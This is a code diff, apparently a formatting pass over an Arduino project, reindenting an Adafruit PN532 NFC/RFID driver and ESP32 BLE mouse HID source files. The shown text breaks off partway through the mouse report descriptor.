| 1688 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 1, 1000)) { | |
| 1689 | + | PN532DEBUGPRINT.println(F("Error en ack")); | |
| 1690 | + | return false; | |
| 1691 | + | } | |
| 1692 | + | ||
| 1693 | + | // read data packet | |
| 1694 | + | readdata(pn532_packetbuffer, 64); | |
| 1695 | + | length = pn532_packetbuffer[3] - 3; | |
| 1696 | + | ||
| 1697 | + | // if (length > *responseLength) {// Bug, should avoid it in the reading | |
| 1698 | + | // target data | |
| 1699 | + | // length = *responseLength; // silent truncation... | |
| 1700 | + | //} | |
| 1701 | + | ||
| 1702 | + | for (int i = 0; i < length; ++i) { | |
| 1703 | + | cmd[i] = pn532_packetbuffer[8 + i]; | |
| 1704 | + | } | |
| 1705 | + | *cmdlen = length; | |
| 1706 | + | return true; | |
| 1695 | 1707 | } | |
| 1696 | 1708 | ||
| 1697 | 1709 | /**************************************************************************/ | |
| @@ -1704,23 +1716,23 @@ uint8_t Adafruit_PN532::getDataTarget(uint8_t *cmd, uint8_t *cmdlen) { | |||
| 1704 | 1716 | */ | |
| 1705 | 1717 | /**************************************************************************/ | |
| 1706 | 1718 | uint8_t Adafruit_PN532::setDataTarget(uint8_t *cmd, uint8_t cmdlen) { | |
| 1707 | − | uint8_t length; | |
| 1708 | − | // cmd1[0] = 0x8E; Must! | |
| 1719 | + | uint8_t length; | |
| 1720 | + | // cmd1[0] = 0x8E; Must! | |
| 1709 | 1721 | ||
| 1710 | − | if (!sendCommandCheckAck(cmd, cmdlen)) | |
| 1711 | − | return false; | |
| 1722 | + | if (!sendCommandCheckAck(cmd, cmdlen)) | |
| 1723 | + | return false; | |
| 1712 | 1724 | ||
| 1713 | − | // read data packet | |
| 1714 | − | readdata(pn532_packetbuffer, 8); | |
| 1715 | − | length = pn532_packetbuffer[3] - 3; | |
| 1716 | − | for (int i = 0; i < length; ++i) { | |
| 1717 | − | cmd[i] = pn532_packetbuffer[8 + i]; | |
| 1718 | − | } | |
| 1719 | − | // cmdl = 0 | |
| 1720 | − | cmdlen = length; | |
| 1721 | − | ||
| 1722 | − | int offset = 6; | |
| 1723 | − | return (pn532_packetbuffer[offset] == 0x15); | |
| 1725 | + | // read data packet | |
| 1726 | + | readdata(pn532_packetbuffer, 8); | |
| 1727 | + | length = pn532_packetbuffer[3] - 3; | |
| 1728 | + | for (int i = 0; i < length; ++i) { | |
| 1729 | + | cmd[i] = pn532_packetbuffer[8 + i]; | |
| 1730 | + | } | |
| 1731 | + | // cmdl = 0 | |
| 1732 | + | cmdlen = length; | |
| 1733 | + | ||
| 1734 | + | int offset = 6; | |
| 1735 | + | return (pn532_packetbuffer[offset] == 0x15); | |
| 1724 | 1736 | } | |
| 1725 | 1737 | ||
| 1726 | 1738 | /**************************************************************************/ | |
| @@ -1733,88 +1745,88 @@ uint8_t Adafruit_PN532::setDataTarget(uint8_t *cmd, uint8_t cmdlen) { | |||
| 1733 | 1745 | */ | |
| 1734 | 1746 | /**************************************************************************/ | |
| 1735 | 1747 | void Adafruit_PN532::writecommand(uint8_t *cmd, uint8_t cmdlen) { | |
| 1736 | − | if (spi_dev) { | |
| 1737 | − | // SPI command write. | |
| 1738 | − | uint8_t checksum; | |
| 1739 | − | uint8_t packet[9 + cmdlen]; | |
| 1740 | − | uint8_t *p = packet; | |
| 1741 | − | cmdlen++; | |
| 1742 | − | ||
| 1743 | − | p[0] = PN532_SPI_DATAWRITE; | |
| 1744 | − | p++; | |
| 1745 | − | ||
| 1746 | − | p[0] = PN532_PREAMBLE; | |
| 1747 | − | p++; | |
| 1748 | − | p[0] = PN532_STARTCODE1; | |
| 1749 | − | p++; | |
| 1750 | − | p[0] = PN532_STARTCODE2; | |
| 1751 | − | p++; | |
| 1752 | − | checksum = PN532_PREAMBLE + PN532_STARTCODE1 + PN532_STARTCODE2; | |
| 1753 | − | ||
| 1754 | − | p[0] = cmdlen; | |
| 1755 | − | p++; | |
| 1756 | − | p[0] = ~cmdlen + 1; | |
| 1757 | − | p++; | |
| 1758 | − | ||
| 1759 | − | p[0] = PN532_HOSTTOPN532; | |
| 1760 | − | p++; | |
| 1761 | − | checksum += PN532_HOSTTOPN532; | |
| 1762 | − | ||
| 1763 | − | for (uint8_t i = 0; i < cmdlen - 1; i++) { | |
| 1764 | − | p[0] = cmd[i]; | |
| 1765 | − | p++; | |
| 1766 | − | checksum += cmd[i]; | |
| 1767 | − | } | |
| 1768 | − | ||
| 1769 | − | p[0] = ~checksum; | |
| 1770 | − | p++; | |
| 1771 | − | p[0] = PN532_POSTAMBLE; | |
| 1772 | − | p++; | |
| 1748 | + | if (spi_dev) { | |
| 1749 | + | // SPI command write. | |
| 1750 | + | uint8_t checksum; | |
| 1751 | + | uint8_t packet[9 + cmdlen]; | |
| 1752 | + | uint8_t *p = packet; | |
| 1753 | + | cmdlen++; | |
| 1754 | + | ||
| 1755 | + | p[0] = PN532_SPI_DATAWRITE; | |
| 1756 | + | p++; | |
| 1757 | + | ||
| 1758 | + | p[0] = PN532_PREAMBLE; | |
| 1759 | + | p++; | |
| 1760 | + | p[0] = PN532_STARTCODE1; | |
| 1761 | + | p++; | |
| 1762 | + | p[0] = PN532_STARTCODE2; | |
| 1763 | + | p++; | |
| 1764 | + | checksum = PN532_PREAMBLE + PN532_STARTCODE1 + PN532_STARTCODE2; | |
| 1765 | + | ||
| 1766 | + | p[0] = cmdlen; | |
| 1767 | + | p++; | |
| 1768 | + | p[0] = ~cmdlen + 1; | |
| 1769 | + | p++; | |
| 1770 | + | ||
| 1771 | + | p[0] = PN532_HOSTTOPN532; | |
| 1772 | + | p++; | |
| 1773 | + | checksum += PN532_HOSTTOPN532; | |
| 1774 | + | ||
| 1775 | + | for (uint8_t i = 0; i < cmdlen - 1; i++) { | |
| 1776 | + | p[0] = cmd[i]; | |
| 1777 | + | p++; | |
| 1778 | + | checksum += cmd[i]; | |
| 1779 | + | } | |
| 1780 | + | ||
| 1781 | + | p[0] = ~checksum; | |
| 1782 | + | p++; | |
| 1783 | + | p[0] = PN532_POSTAMBLE; | |
| 1784 | + | p++; | |
| 1773 | 1785 | ||
| 1774 | 1786 | #ifdef PN532DEBUG | |
| 1775 | − | Serial.print("Sending : "); | |
| 1776 | − | for (int i = 1; i < 8 + cmdlen; i++) { | |
| 1777 | − | Serial.print("0x"); | |
| 1778 | − | Serial.print(packet[i], HEX); | |
| 1779 | − | Serial.print(", "); | |
| 1780 | − | } | |
| 1781 | − | Serial.println(); | |
| 1787 | + | Serial.print("Sending : "); | |
| 1788 | + | for (int i = 1; i < 8 + cmdlen; i++) { | |
| 1789 | + | Serial.print("0x"); | |
| 1790 | + | Serial.print(packet[i], HEX); | |
| 1791 | + | Serial.print(", "); | |
| 1792 | + | } | |
| 1793 | + | Serial.println(); | |
| 1782 | 1794 | #endif | |
| 1783 | 1795 | ||
| 1784 | − | spi_dev->write(packet, 8 + cmdlen); | |
| 1785 | − | } else if (i2c_dev || ser_dev) { | |
| 1786 | − | // I2C or Serial command write. | |
| 1787 | − | uint8_t packet[8 + cmdlen]; | |
| 1788 | − | uint8_t LEN = cmdlen + 1; | |
| 1789 | − | ||
| 1790 | − | packet[0] = PN532_PREAMBLE; | |
| 1791 | − | packet[1] = PN532_STARTCODE1; | |
| 1792 | − | packet[2] = PN532_STARTCODE2; | |
| 1793 | − | packet[3] = LEN; | |
| 1794 | − | packet[4] = ~LEN + 1; | |
| 1795 | − | packet[5] = PN532_HOSTTOPN532; | |
| 1796 | − | uint8_t sum = 0; | |
| 1797 | − | for (uint8_t i = 0; i < cmdlen; i++) { | |
| 1798 | − | packet[6 + i] = cmd[i]; | |
| 1799 | − | sum += cmd[i]; | |
| 1800 | − | } | |
| 1801 | − | packet[6 + cmdlen] = ~(PN532_HOSTTOPN532 + sum) + 1; | |
| 1802 | − | packet[7 + cmdlen] = PN532_POSTAMBLE; | |
| 1796 | + | spi_dev->write(packet, 8 + cmdlen); | |
| 1797 | + | } else if (i2c_dev || ser_dev) { | |
| 1798 | + | // I2C or Serial command write. | |
| 1799 | + | uint8_t packet[8 + cmdlen]; | |
| 1800 | + | uint8_t LEN = cmdlen + 1; | |
| 1801 | + | ||
| 1802 | + | packet[0] = PN532_PREAMBLE; | |
| 1803 | + | packet[1] = PN532_STARTCODE1; | |
| 1804 | + | packet[2] = PN532_STARTCODE2; | |
| 1805 | + | packet[3] = LEN; | |
| 1806 | + | packet[4] = ~LEN + 1; | |
| 1807 | + | packet[5] = PN532_HOSTTOPN532; | |
| 1808 | + | uint8_t sum = 0; | |
| 1809 | + | for (uint8_t i = 0; i < cmdlen; i++) { | |
| 1810 | + | packet[6 + i] = cmd[i]; | |
| 1811 | + | sum += cmd[i]; | |
| 1812 | + | } | |
| 1813 | + | packet[6 + cmdlen] = ~(PN532_HOSTTOPN532 + sum) + 1; | |
| 1814 | + | packet[7 + cmdlen] = PN532_POSTAMBLE; | |
| 1803 | 1815 | ||
| 1804 | 1816 | #ifdef PN532DEBUG | |
| 1805 | − | Serial.print("Sending : "); | |
| 1806 | − | for (int i = 1; i < 8 + cmdlen; i++) { | |
| 1807 | − | Serial.print("0x"); | |
| 1808 | − | Serial.print(packet[i], HEX); | |
| 1809 | − | Serial.print(", "); | |
| 1810 | − | } | |
| 1811 | − | Serial.println(); | |
| 1817 | + | Serial.print("Sending : "); | |
| 1818 | + | for (int i = 1; i < 8 + cmdlen; i++) { | |
| 1819 | + | Serial.print("0x"); | |
| 1820 | + | Serial.print(packet[i], HEX); | |
| 1821 | + | Serial.print(", "); | |
| 1822 | + | } | |
| 1823 | + | Serial.println(); | |
| 1812 | 1824 | #endif | |
| 1813 | 1825 | ||
| 1814 | − | if (i2c_dev) { | |
| 1815 | − | i2c_dev->write(packet, 8 + cmdlen); | |
| 1816 | − | } else { | |
| 1817 | − | ser_dev->write(packet, 8 + cmdlen); | |
| 1826 | + | if (i2c_dev) { | |
| 1827 | + | i2c_dev->write(packet, 8 + cmdlen); | |
| 1828 | + | } else { | |
| 1829 | + | ser_dev->write(packet, 8 + cmdlen); | |
| 1830 | + | } | |
| 1818 | 1831 | } | |
| 1819 | − | } | |
| 1820 | 1832 | } | |
| @@ -70,13 +70,13 @@ | |||
| 70 | 70 | #define PN532_SPI_DATAREAD (0x03) ///< Data read | |
| 71 | 71 | #define PN532_SPI_READY (0x01) ///< Ready | |
| 72 | 72 | ||
| 73 | − | //#define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address | |
| 74 | − | // My fucking clone board for some goddamn reason uses the address 0x28 | |
| 73 | + | // #define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address | |
| 74 | + | // My fucking clone board for some goddamn reason uses the address 0x28 | |
| 75 | 75 | #define PN532_I2C_ADDRESS (0x28) | |
| 76 | − | #define PN532_I2C_READBIT (0x01) ///< Read bit | |
| 77 | − | #define PN532_I2C_BUSY (0x00) ///< Busy | |
| 78 | − | #define PN532_I2C_READY (0x01) ///< Ready | |
| 79 | − | #define PN532_I2C_READYTIMEOUT (20) ///< Ready timeout | |
| 76 | + | #define PN532_I2C_READBIT (0x01) ///< Read bit | |
| 77 | + | #define PN532_I2C_BUSY (0x00) ///< Busy | |
| 78 | + | #define PN532_I2C_READY (0x01) ///< Ready | |
| 79 | + | #define PN532_I2C_READYTIMEOUT (20) ///< Ready timeout | |
| 80 | 80 | ||
| 81 | 81 | #define PN532_MIFARE_ISO14443A (0x00) ///< MiFare | |
| 82 | 82 | ||
| @@ -141,83 +141,85 @@ | |||
| 141 | 141 | * @brief Class for working with Adafruit PN532 NFC/RFID breakout boards. | |
| 142 | 142 | */ | |
| 143 | 143 | class Adafruit_PN532 { | |
| 144 | − | public: | |
| 145 | − | Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi, | |
| 146 | − | uint8_t ss); // Software SPI | |
| 147 | − | Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI | |
| 148 | − | Adafruit_PN532(uint8_t irq, uint8_t reset, | |
| 149 | − | TwoWire *theWire = &Wire); // Hardware I2C | |
| 150 | − | Adafruit_PN532(uint8_t reset, HardwareSerial *theSer); // Hardware UART | |
| 151 | − | bool begin(void); | |
| 152 | − | ||
| 153 | − | void reset(void); | |
| 154 | − | void wakeup(void); | |
| 155 | − | ||
| 156 | − | // Generic PN532 functions | |
| 157 | − | bool SAMConfig(void); | |
| 158 | − | uint32_t getFirmwareVersion(void); | |
| 159 | − | bool sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen, | |
| 160 | − | uint16_t timeout = 100); | |
| 161 | − | bool writeGPIO(uint8_t pinstate); | |
| 162 | − | uint8_t readGPIO(void); | |
| 163 | − | bool setPassiveActivationRetries(uint8_t maxRetries); | |
| 164 | − | ||
| 165 | − | // ISO14443A functions | |
| 166 | − | bool readPassiveTargetID( | |
| 167 | − | uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength, | |
| 168 | − | uint16_t timeout = 0); // timeout 0 means no timeout - will block forever. | |
| 169 | − | bool startPassiveTargetIDDetection(uint8_t cardbaudrate); | |
| 170 | − | bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength); | |
| 171 | − | bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response, | |
| 172 | − | uint8_t *responseLength); | |
| 173 | − | bool inListPassiveTarget(); | |
| 174 | − | uint8_t AsTarget(); | |
| 175 | − | uint8_t getDataTarget(uint8_t *cmd, uint8_t *cmdlen); | |
| 176 | − | uint8_t setDataTarget(uint8_t *cmd, uint8_t cmdlen); | |
| 177 | − | ||
| 178 | − | // Mifare Classic functions | |
| 179 | − | bool mifareclassic_IsFirstBlock(uint32_t uiBlock); | |
| 180 | − | bool mifareclassic_IsTrailerBlock(uint32_t uiBlock); | |
| 181 | − | uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen, | |
| 182 | − | uint32_t blockNumber, | |
| 183 | − | uint8_t keyNumber, uint8_t *keyData); | |
| 184 | − | uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data); | |
| 185 | − | uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data); | |
| 186 | − | uint8_t mifareclassic_FormatNDEF(void); | |
| 187 | − | uint8_t mifareclassic_WriteNDEFURI(uint8_t sectorNumber, | |
| 188 | − | uint8_t uriIdentifier, const char *url); | |
| 189 | − | ||
| 190 | − | // Mifare Ultralight functions | |
| 191 | − | uint8_t mifareultralight_ReadPage(uint8_t page, uint8_t *buffer); | |
| 192 | − | uint8_t mifareultralight_WritePage(uint8_t page, uint8_t *data); | |
| 193 | − | ||
| 194 | − | // NTAG2xx functions | |
| 195 | − | uint8_t ntag2xx_ReadPage(uint8_t page, uint8_t *buffer); | |
| 196 | − | uint8_t ntag2xx_WritePage(uint8_t page, uint8_t *data); | |
| 197 | − | uint8_t ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url, | |
| 198 | − | uint8_t dataLen); | |
| 199 | − | ||
| 200 | − | // Help functions to display formatted text | |
| 201 | − | static void PrintHex(const byte *data, const uint32_t numBytes); | |
| 202 | − | static void PrintHexChar(const byte *pbtData, const uint32_t numBytes); | |
| 203 | − | ||
| 204 | − | private: | |
| 205 | − | int8_t _irq = -1, _reset = -1, _cs = -1; | |
| 206 | − | int8_t _uid[7]; // ISO14443A uid | |
| 207 | − | int8_t _uidLen; // uid len | |
| 208 | − | int8_t _key[6]; // Mifare Classic key | |
| 209 | − | int8_t _inListedTag; // Tg number of inlisted tag. | |
| 210 | − | ||
| 211 | − | // Low level communication functions that handle both SPI and I2C. | |
| 212 | − | void readdata(uint8_t *buff, uint8_t n); | |
| 213 | − | void writecommand(uint8_t *cmd, uint8_t cmdlen); | |
| 214 | − | bool isready(); | |
| 215 | − | bool waitready(uint16_t timeout); | |
| 216 | − | bool readack(); | |
| 217 | − | ||
| 218 | − | Adafruit_SPIDevice *spi_dev = NULL; | |
| 219 | − | Adafruit_I2CDevice *i2c_dev = NULL; | |
| 220 | − | HardwareSerial *ser_dev = NULL; | |
| 144 | + | public: | |
| 145 | + | Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi, | |
| 146 | + | uint8_t ss); // Software SPI | |
| 147 | + | Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI | |
| 148 | + | Adafruit_PN532(uint8_t irq, uint8_t reset, | |
| 149 | + | TwoWire *theWire = &Wire); // Hardware I2C | |
| 150 | + | Adafruit_PN532(uint8_t reset, HardwareSerial *theSer); // Hardware UART | |
| 151 | + | bool begin(void); | |
| 152 | + | ||
| 153 | + | void reset(void); | |
| 154 | + | void wakeup(void); | |
| 155 | + | ||
| 156 | + | // Generic PN532 functions | |
| 157 | + | bool SAMConfig(void); | |
| 158 | + | uint32_t getFirmwareVersion(void); | |
| 159 | + | bool sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen, | |
| 160 | + | uint16_t timeout = 100); | |
| 161 | + | bool writeGPIO(uint8_t pinstate); | |
| 162 | + | uint8_t readGPIO(void); | |
| 163 | + | bool setPassiveActivationRetries(uint8_t maxRetries); | |
| 164 | + | ||
| 165 | + | // ISO14443A functions | |
| 166 | + | bool readPassiveTargetID( | |
| 167 | + | uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength, | |
| 168 | + | uint16_t timeout = | |
| 169 | + | 0); // timeout 0 means no timeout - will block forever. | |
| 170 | + | bool startPassiveTargetIDDetection(uint8_t cardbaudrate); | |
| 171 | + | bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength); | |
| 172 | + | bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response, | |
| 173 | + | uint8_t *responseLength); | |
| 174 | + | bool inListPassiveTarget(); | |
| 175 | + | uint8_t AsTarget(); | |
| 176 | + | uint8_t getDataTarget(uint8_t *cmd, uint8_t *cmdlen); | |
| 177 | + | uint8_t setDataTarget(uint8_t *cmd, uint8_t cmdlen); | |
| 178 | + | ||
| 179 | + | // Mifare Classic functions | |
| 180 | + | bool mifareclassic_IsFirstBlock(uint32_t uiBlock); | |
| 181 | + | bool mifareclassic_IsTrailerBlock(uint32_t uiBlock); | |
| 182 | + | uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen, | |
| 183 | + | uint32_t blockNumber, | |
| 184 | + | uint8_t keyNumber, | |
| 185 | + | uint8_t *keyData); | |
| 186 | + | uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data); | |
| 187 | + | uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data); | |
| 188 | + | uint8_t mifareclassic_FormatNDEF(void); | |
| 189 | + | uint8_t mifareclassic_WriteNDEFURI(uint8_t sectorNumber, | |
| 190 | + | uint8_t uriIdentifier, const char *url); | |
| 191 | + | ||
| 192 | + | // Mifare Ultralight functions | |
| 193 | + | uint8_t mifareultralight_ReadPage(uint8_t page, uint8_t *buffer); | |
| 194 | + | uint8_t mifareultralight_WritePage(uint8_t page, uint8_t *data); | |
| 195 | + | ||
| 196 | + | // NTAG2xx functions | |
| 197 | + | uint8_t ntag2xx_ReadPage(uint8_t page, uint8_t *buffer); | |
| 198 | + | uint8_t ntag2xx_WritePage(uint8_t page, uint8_t *data); | |
| 199 | + | uint8_t ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url, | |
| 200 | + | uint8_t dataLen); | |
| 201 | + | ||
| 202 | + | // Help functions to display formatted text | |
| 203 | + | static void PrintHex(const byte *data, const uint32_t numBytes); | |
| 204 | + | static void PrintHexChar(const byte *pbtData, const uint32_t numBytes); | |
| 205 | + | ||
| 206 | + | private: | |
| 207 | + | int8_t _irq = -1, _reset = -1, _cs = -1; | |
| 208 | + | int8_t _uid[7]; // ISO14443A uid | |
| 209 | + | int8_t _uidLen; // uid len | |
| 210 | + | int8_t _key[6]; // Mifare Classic key | |
| 211 | + | int8_t _inListedTag; // Tg number of inlisted tag. | |
| 212 | + | ||
| 213 | + | // Low level communication functions that handle both SPI and I2C. | |
| 214 | + | void readdata(uint8_t *buff, uint8_t n); | |
| 215 | + | void writecommand(uint8_t *cmd, uint8_t cmdlen); | |
| 216 | + | bool isready(); | |
| 217 | + | bool waitready(uint16_t timeout); | |
| 218 | + | bool readack(); | |
| 219 | + | ||
| 220 | + | Adafruit_SPIDevice *spi_dev = NULL; | |
| 221 | + | Adafruit_I2CDevice *i2c_dev = NULL; | |
| 222 | + | HardwareSerial *ser_dev = NULL; | |
| 221 | 223 | }; | |
| 222 | 224 | ||
| 223 | 225 | #endif | |
| @@ -1,18 +1,17 @@ | |||
| 1 | 1 | #include "BleConnectionStatus.h" | |
| 2 | 2 | ||
| 3 | − | BleConnectionStatus::BleConnectionStatus(void) { | |
| 4 | − | } | |
| 3 | + | BleConnectionStatus::BleConnectionStatus(void) {} | |
| 5 | 4 | ||
| 6 | − | void BleConnectionStatus::onConnect(BLEServer* pServer) | |
| 7 | − | { | |
| 8 | − | this->connected = true; | |
| 9 | − | BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902)); | |
| 10 | − | desc->setNotifications(true); | |
| 5 | + | void BleConnectionStatus::onConnect(BLEServer *pServer) { | |
| 6 | + | this->connected = true; | |
| 7 | + | BLE2902 *desc = (BLE2902 *)this->inputMouse->getDescriptorByUUID( | |
| 8 | + | BLEUUID((uint16_t)0x2902)); | |
| 9 | + | desc->setNotifications(true); | |
| 11 | 10 | } | |
| 12 | 11 | ||
| 13 | − | void BleConnectionStatus::onDisconnect(BLEServer* pServer) | |
| 14 | − | { | |
| 15 | − | this->connected = false; | |
| 16 | − | BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902)); | |
| 17 | − | desc->setNotifications(false); | |
| 12 | + | void BleConnectionStatus::onDisconnect(BLEServer *pServer) { | |
| 13 | + | this->connected = false; | |
| 14 | + | BLE2902 *desc = (BLE2902 *)this->inputMouse->getDescriptorByUUID( | |
| 15 | + | BLEUUID((uint16_t)0x2902)); | |
| 16 | + | desc->setNotifications(false); | |
| 18 | 17 | } | |
| @@ -3,18 +3,17 @@ | |||
| 3 | 3 | #include "sdkconfig.h" | |
| 4 | 4 | #if defined(CONFIG_BT_ENABLED) | |
| 5 | 5 | ||
| 6 | − | #include <BLEServer.h> | |
| 7 | 6 | #include "BLE2902.h" | |
| 8 | 7 | #include "BLECharacteristic.h" | |
| 8 | + | #include <BLEServer.h> | |
| 9 | 9 | ||
| 10 | − | class BleConnectionStatus : public BLEServerCallbacks | |
| 11 | − | { | |
| 12 | − | public: | |
| 13 | − | BleConnectionStatus(void); | |
| 14 | − | bool connected = false; | |
| 15 | − | void onConnect(BLEServer* pServer); | |
| 16 | − | void onDisconnect(BLEServer* pServer); | |
| 17 | − | BLECharacteristic* inputMouse; | |
| 10 | + | class BleConnectionStatus : public BLEServerCallbacks { | |
| 11 | + | public: | |
| 12 | + | BleConnectionStatus(void); | |
| 13 | + | bool connected = false; | |
| 14 | + | void onConnect(BLEServer *pServer); | |
| 15 | + | void onDisconnect(BLEServer *pServer); | |
| 16 | + | BLECharacteristic *inputMouse; | |
| 18 | 17 | }; | |
| 19 | 18 | ||
| 20 | 19 | #endif // CONFIG_BT_ENABLED | |
| @@ -1,173 +1,165 @@ | |||
| 1 | − | #include <BLEDevice.h> | |
| 2 | − | #include <BLEUtils.h> | |
| 3 | − | #include <BLEServer.h> | |
| 4 | 1 | #include "BLE2902.h" | |
| 5 | 2 | #include "BLEHIDDevice.h" | |
| 6 | − | #include "HIDTypes.h" | |
| 7 | 3 | #include "HIDKeyboardTypes.h" | |
| 8 | − | #include <driver/adc.h> | |
| 4 | + | #include "HIDTypes.h" | |
| 9 | 5 | #include "sdkconfig.h" | |
| 6 | + | #include <BLEDevice.h> | |
| 7 | + | #include <BLEServer.h> | |
| 8 | + | #include <BLEUtils.h> | |
| 9 | + | #include <driver/adc.h> | |
| 10 | 10 | ||
| 11 | 11 | #include "BleConnectionStatus.h" | |
| 12 | 12 | #include "BleMouse.h" | |
| 13 | 13 | ||
| 14 | 14 | #if defined(CONFIG_ARDUHAL_ESP_LOG) | |
| 15 | − | #include "esp32-hal-log.h" | |
| 16 | − | #define LOG_TAG "" | |
| 15 | + | #include "esp32-hal-log.h" | |
| 16 | + | #define LOG_TAG "" | |
| 17 | 17 | #else | |
| 18 | − | #include "esp_log.h" | |
| 19 | − | static const char* LOG_TAG = "BLEDevice"; | |
| 18 | + | #include "esp_log.h" | |
| 19 | + | static const char *LOG_TAG = "BLEDevice"; | |
| 20 | 20 | #endif | |
| 21 | 21 | ||
| 22 | 22 | static const uint8_t _hidReportDescriptor[] = { | |
| 23 | − | USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) | |
| 24 | − | USAGE(1), 0x02, // USAGE (Mouse) | |
| 25 | − | COLLECTION(1), 0x01, // COLLECTION (Application) | |
| 26 | − | USAGE(1), 0x01, // USAGE (Pointer) | |
| 27 | − | COLLECTION(1), 0x00, // COLLECTION (Physical) | |
| 28 | − | // ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward) | |
| 29 | − | USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button) | |
| 30 | − | USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1) | |
| 31 | − | USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5) | |
| 32 | − | LOGICAL_MINIMUM(1), 0x00, // LOGICAL_MINIMUM (0) | |
| 33 | − | LOGICAL_MAXIMUM(1), 0x01, // LOGICAL_MAXIMUM (1) | |
| 34 | − | REPORT_SIZE(1), 0x01, // REPORT_SIZE (1) | |
| 35 | − | REPORT_COUNT(1), 0x05, // REPORT_COUNT (5) | |
| 36 | − | HIDINPUT(1), 0x02, // INPUT (Data, Variable, Absolute) ;5 button bits | |
| 37 | − | // ------------------------------------------------- Padding | |
| 38 | − | REPORT_SIZE(1), 0x03, // REPORT_SIZE (3) | |
| 39 | − | REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) | |
| 40 | − | HIDINPUT(1), 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding | |
| 41 | − | // ------------------------------------------------- X/Y position, Wheel | |
| 42 | − | USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) | |
| 43 | − | USAGE(1), 0x30, // USAGE (X) | |
| 44 | − | USAGE(1), 0x31, // USAGE (Y) | |
| 45 | − | USAGE(1), 0x38, // USAGE (Wheel) | |
| 46 | − | LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) | |
| 47 | − | LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) | |
| 48 | − | REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) | |
| 49 | − | REPORT_COUNT(1), 0x03, // REPORT_COUNT (3) | |
| 50 | − | HIDINPUT(1), 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel) | |
| 51 | − | // ------------------------------------------------- Horizontal wheel | |
| 52 | − | USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices) | |
| 53 | − | USAGE(2), 0x38, 0x02, // USAGE (AC Pan) | |
| 54 | − | LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) | |
| 55 | − | LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) | |
| 56 | − | REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) | |
| 57 | − | REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) | |
| 58 | − | HIDINPUT(1), 0x06, // INPUT (Data, Var, Rel) | |
| 59 | − | END_COLLECTION(0), // END_COLLECTION | |
| 60 | − | END_COLLECTION(0) // END_COLLECTION | |
| 23 | + | USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) | |
| 24 | + | USAGE(1), 0x02, // USAGE (Mouse) | |
| 25 | + | COLLECTION(1), 0x01, // COLLECTION (Application) | |
| 26 | + | USAGE(1), 0x01, // USAGE (Pointer) | |
| 27 | + | COLLECTION(1), 0x00, // COLLECTION (Physical) | |
| 28 | + | // ------------------------------------------------- Buttons (Left, Right, | |
| 29 | + | // Middle, Back, Forward) | |
| 30 | + | USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button) | |
| 31 | + | USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1) | |
| 32 | + | USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5) | |
| 33 | + | LOGICAL_MINIMUM(1), 0x00, // LOGICAL_MINIMUM (0) | |
| 34 | + | LOGICAL_MAXIMUM(1), 0x01, // LOGICAL_MAXIMUM (1) | |
| 35 | + | REPORT_SIZE(1), 0x01, // REPORT_SIZE (1) | |
| 36 | + | REPORT_COUNT(1), 0x05, // REPORT_COUNT (5) | |
| 37 | + | HIDINPUT(1), 0x02, // INPUT (Data, Variable, Absolute) ;5 button bits | |
| 38 | + | // ------------------------------------------------- Padding | |
| 39 | + | REPORT_SIZE(1), 0x03, // REPORT_SIZE (3) | |
| 40 | + | REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) | |
| 41 | + | HIDINPUT(1), | |
| 42 | + | 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding | |
| 43 | + | // ------------------------------------------------- X/Y position, Wheel | |
| 44 | + | USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) | |
| 45 | + | USAGE(1), 0x30, // USAGE (X) | |
| 46 | + | USAGE(1), 0x31, // USAGE (Y) | |
